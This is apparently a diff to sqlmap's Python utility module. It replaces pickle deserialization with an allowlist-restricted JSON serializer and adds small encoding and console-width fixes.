||||
return {_SERIALIZE_TAG: "o", "c": name, "d": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()], "s": _serializeEncode(dict(value.__dict__))}
|
||||
elif value.__class__ is dict or (name or "").split(".")[0] not in ("lib", "plugins", "thirdparty"):
|
||||
# a plain dict, or a foreign mapping subclass (e.g. collections.OrderedDict/defaultdict): store the
|
||||
# items as a plain mapping so the data round-trips, instead of silently degrading to its text repr.
|
||||
# A non-allowlisted lib/plugins/thirdparty subclass still falls through to _serializeUnknown (fail loudly)
|
||||
return {_SERIALIZE_TAG: "m", "v": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()]}
|
||||
else:
|
||||
return _serializeUnknown(value, name)
|
||||
|
||||
if isinstance(value, decimal.Decimal):
|
||||
return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)}
|
||||
|
||||
if isinstance(value, datetime.datetime):
|
||||
return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, value.microsecond]}
|
||||
|
||||
if isinstance(value, datetime.date):
|
||||
return {_SERIALIZE_TAG: "date", "v": [value.year, value.month, value.day]}
|
||||
|
||||
if isinstance(value, datetime.time):
|
||||
return {_SERIALIZE_TAG: "time", "v": [value.hour, value.minute, value.second, value.microsecond]}
|
||||
|
||||
if isinstance(value, datetime.timedelta):
|
||||
return {_SERIALIZE_TAG: "td", "v": [value.days, value.seconds, value.microseconds]}
|
||||
|
||||
name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__)
|
||||
if name in _SERIALIZE_CLASSES:
|
||||
return {_SERIALIZE_TAG: "o", "c": name, "s": _serializeEncode(dict(value.__dict__))}
|
||||
|
||||
return _serializeUnknown(value, name)
|
||||
|
||||
def _serializeUnknown(value, name):
|
||||
"""
|
||||
Fallback for a type not explicitly handled by the serializer
|
||||
"""
|
||||
|
||||
# sqlmap's own (or bundled) classes MUST be added to the allowlist explicitly - fail loudly
|
||||
# (caught by the regression tests) rather than silently store something that cannot be restored
|
||||
if (name or "").split(".")[0] in ("lib", "plugins", "thirdparty"):
|
||||
raise TypeError("serialization of type '%s' is not supported" % name)
|
||||
|
||||
# a foreign/exotic scalar (e.g. an unusual DB-driver value): degrade to its textual form rather
|
||||
# than crash a user's session - session values are only ever rendered (getUnicode) downstream
|
||||
singleTimeWarnMessage("serializing value of unsupported type '%s' as text" % name)
|
||||
return getUnicode(value)
|
||||
|
||||
def _serializeDecode(struct):
|
||||
"""
|
||||
Restores a Python value from a JSON-deserialized (tagged) structure
|
||||
"""
|
||||
|
||||
if struct is None or isinstance(struct, bool) or isinstance(struct, float) or isinstance(struct, six.integer_types):
|
||||
return struct
|
||||
|
||||
if isinstance(struct, six.text_type):
|
||||
return struct
|
||||
|
||||
if isinstance(struct, six.binary_type): # defensive - json.loads() yields text, not bytes
|
||||
return getUnicode(struct)
|
||||
|
||||
if isinstance(struct, list):
|
||||
return [_serializeDecode(_) for _ in struct]
|
||||
|
||||
if isinstance(struct, dict):
|
||||
tag = struct.get(_SERIALIZE_TAG)
|
||||
|
||||
if tag == "b":
|
||||
raw = decodeBase64(struct["v"], binary=True)
|
||||
if struct.get("a"):
|
||||
return bytearray(raw)
|
||||
# Genuine Python 3 bytes (pv==3) are kept as-is. A value WITHOUT the marker was
|
||||
# written by Python 2, whose text-'str' goes through this bytes branch; on Python 3
|
||||
# that would surface as 'bytes' and break str consumers - most visibly kb.chars,
|
||||
# whose str-key lookups then return None and crash cleanupPayload(). Recover such
|
||||
# cross-version TEXT by decoding valid UTF-8 to 'str'; real binary stays bytes.
|
||||
if struct.get("pv") == 3 or not six.PY3:
|
||||
return raw
|
||||
try:
|
||||
return raw.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return raw
|
||||
elif tag == "t":
|
||||
return tuple(_serializeDecode(_) for _ in struct["v"])
|
||||
elif tag == "f":
|
||||
return frozenset(_serializeDecode(_) for _ in struct["v"])
|
||||
elif tag == "ba":
|
||||
return BigArray([_serializeDecode(_) for _ in struct["v"]])
|
||||
elif tag == "s":
|
||||
return set(_serializeDecode(_) for _ in struct["v"])
|
||||
elif tag == "m":
|
||||
return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct["v"])
|
||||
elif tag == "dec":
|
||||
return decimal.Decimal(struct["v"])
|
||||
elif tag == "dt":
|
||||
return datetime.datetime(*struct["v"])
|
||||
elif tag == "date":
|
||||
return datetime.date(*struct["v"])
|
||||
elif tag == "time":
|
||||
return datetime.time(*struct["v"])
|
||||
elif tag == "td":
|
||||
return datetime.timedelta(struct["v"][0], struct["v"][1], struct["v"][2])
|
||||
elif tag == "o":
|
||||
return _serializeDecodeObject(struct)
|
||||
elif tag is None: # defensive - a bare mapping should never occur
|
||||
return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct.items())
|
||||
else:
|
||||
raise ValueError("unsupported serialized tag '%s'" % tag)
|
||||
|
||||
raise ValueError("unsupported serialized structure of type '%s'" % type(struct))
|
||||
|
||||
def _serializeResolveClass(name):
|
||||
"""
|
||||
Resolves an allowlisted class name to its class (nothing else may be reconstructed)
|
||||
"""
|
||||
|
||||
if name not in _SERIALIZE_CLASSES:
|
||||
raise ValueError("deserialization of class '%s' is forbidden" % name)
|
||||
|
||||
if name == "lib.utils.har.RawPair":
|
||||
from lib.utils.har import RawPair
|
||||
return RawPair
|
||||
else:
|
||||
from lib.core.datatype import AttribDict, InjectionDict
|
||||
return InjectionDict if name.endswith("InjectionDict") else AttribDict
|
||||
|
||||
def _serializeDecodeObject(struct):
|
||||
"""
|
||||
Reconstructs an allowlisted class instance from its serialized form
|
||||
"""
|
||||
|
||||
_class = _serializeResolveClass(struct.get("c"))
|
||||
retVal = _class.__new__(_class)
|
||||
|
||||
if isinstance(retVal, dict):
|
||||
for pair in (struct.get("d") or []):
|
||||
dict.__setitem__(retVal, _serializeDecode(pair[0]), _serializeDecode(pair[1]))
|
||||
|
||||
state = _serializeDecode(struct.get("s") or {})
|
||||
if isinstance(state, dict):
|
||||
retVal.__dict__.update(state)
|
||||
|
||||
return retVal
|
||||
|
||||
def base64unpickle(value):
|
||||
def serializeValue(value):
|
||||
"""
|
||||
Decodes value from Base64 to plain format and deserializes (with pickle) its content
|
||||
Safely serializes a Python value to its canonical serialized form (JSON text), without any
|
||||
code-execution risk
|
||||
|
||||
>>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object
|
||||
Note: the output is pure ASCII text, so it is stored verbatim in the (TEXT) session store - no
|
||||
Base64 (or any base-N) wrapping is needed (that was only required by the former binary
|
||||
serialization), which also keeps the stored form as small as possible. Callers that need raw
|
||||
bytes (e.g. a compressed BigArray disk chunk) simply encode the returned text.
|
||||
|
||||
>>> deserializeValue(serializeValue({1: 'a', 'b': (2, 3), 'c': {4, 5}})) == {1: 'a', 'b': (2, 3), 'c': {4, 5}}
|
||||
True
|
||||
>>> deserializeValue(serializeValue([1, 2, (3, {4: b'5'})])) == [1, 2, (3, {4: b'5'})]
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
return json.dumps(_serializeEncode(value), ensure_ascii=True, separators=(',', ':'))
|
||||
|
||||
try:
|
||||
retVal = pickle.loads(decodeBase64(value))
|
||||
except TypeError:
|
||||
retVal = pickle.loads(decodeBase64(bytes(value)))
|
||||
def deserializeValue(value):
|
||||
"""
|
||||
Restores a Python value from its serialized form (accepts the serialized data as either text or
|
||||
bytes)
|
||||
"""
|
||||
|
||||
return retVal
|
||||
return _serializeDecode(json.loads(getText(value)))
|
||||
|
||||
def htmlUnescape(value):
|
||||
"""
|
||||
@@ -283,6 +484,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||
|
||||
>>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar"
|
||||
True
|
||||
>>> getBytes(u"C:\\\\\\\\x64\\\\secrets.txt") == b"C:\\\\x64\\\\secrets.txt"
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
@@ -316,7 +519,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||
retVal = value.encode(UNICODE_ENCODING, errors="replace")
|
||||
|
||||
if unsafe:
|
||||
retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
|
||||
retVal = re.sub(b"(?<!\\\\)\\\\x([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), retVal)
|
||||
retVal = retVal.replace(b"\\\\x", b"\\x")
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -373,7 +577,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
||||
|
||||
try:
|
||||
return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
|
||||
except UnicodeDecodeError:
|
||||
except (UnicodeDecodeError, LookupError): # LookupError: an unknown/invalid encoding name must fall back, not crash
|
||||
return six.text_type(value, UNICODE_ENCODING, errors="reversible")
|
||||
elif isListLike(value):
|
||||
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
|
||||
@@ -433,7 +637,14 @@ def stdoutEncode(value):
|
||||
|
||||
kb.codePage = kb.codePage or ""
|
||||
|
||||
encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
|
||||
# Python 3.6+ writes to the Windows console via WriteConsoleW (PEP 528), so sys.stdout.encoding
|
||||
# (typically 'utf-8') renders Unicode that the legacy OEM/ANSI code page from 'chcp' would replace
|
||||
# with '?'; prefer it there. The chcp-derived code page stays as the fallback (older interpreters,
|
||||
# PYTHONLEGACYWINDOWSSTDIO, or a console encoding Python could not determine) and for Python 2.
|
||||
if six.PY3:
|
||||
encoding = getattr(sys.stdout, "encoding", None) or kb.get("codePage") or UNICODE_ENCODING
|
||||
else:
|
||||
encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
|
||||
|
||||
if six.PY3:
|
||||
if isinstance(value, (bytes, bytearray)):
|
||||
@@ -457,6 +668,9 @@ def stdoutEncode(value):
|
||||
|
||||
return retVal
|
||||
|
||||
# str.isascii() is available on Python 3.7+ only (sqlmap still supports 2.7)
|
||||
_HAS_ISASCII = hasattr(str, "isascii")
|
||||
|
||||
def getConsoleLength(value):
|
||||
"""
|
||||
Returns console width of unicode values
|
||||
@@ -468,7 +682,15 @@ def getConsoleLength(value):
|
||||
"""
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
|
||||
# Fast path: ASCII values have no wide (>= U+3000) characters, so their
|
||||
# console width is simply their length. str.isascii() (Python 3.7+) is a
|
||||
# C-level scan, far cheaper than the per-character generator below (which
|
||||
# stays for the rare wide-character case and for Python 2). This runs
|
||||
# once per dumped cell, so it dominates large table dumps.
|
||||
if _HAS_ISASCII and value.isascii():
|
||||
retVal = len(value)
|
||||
else:
|
||||
retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
|
||||
else:
|
||||
retVal = len(value)
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user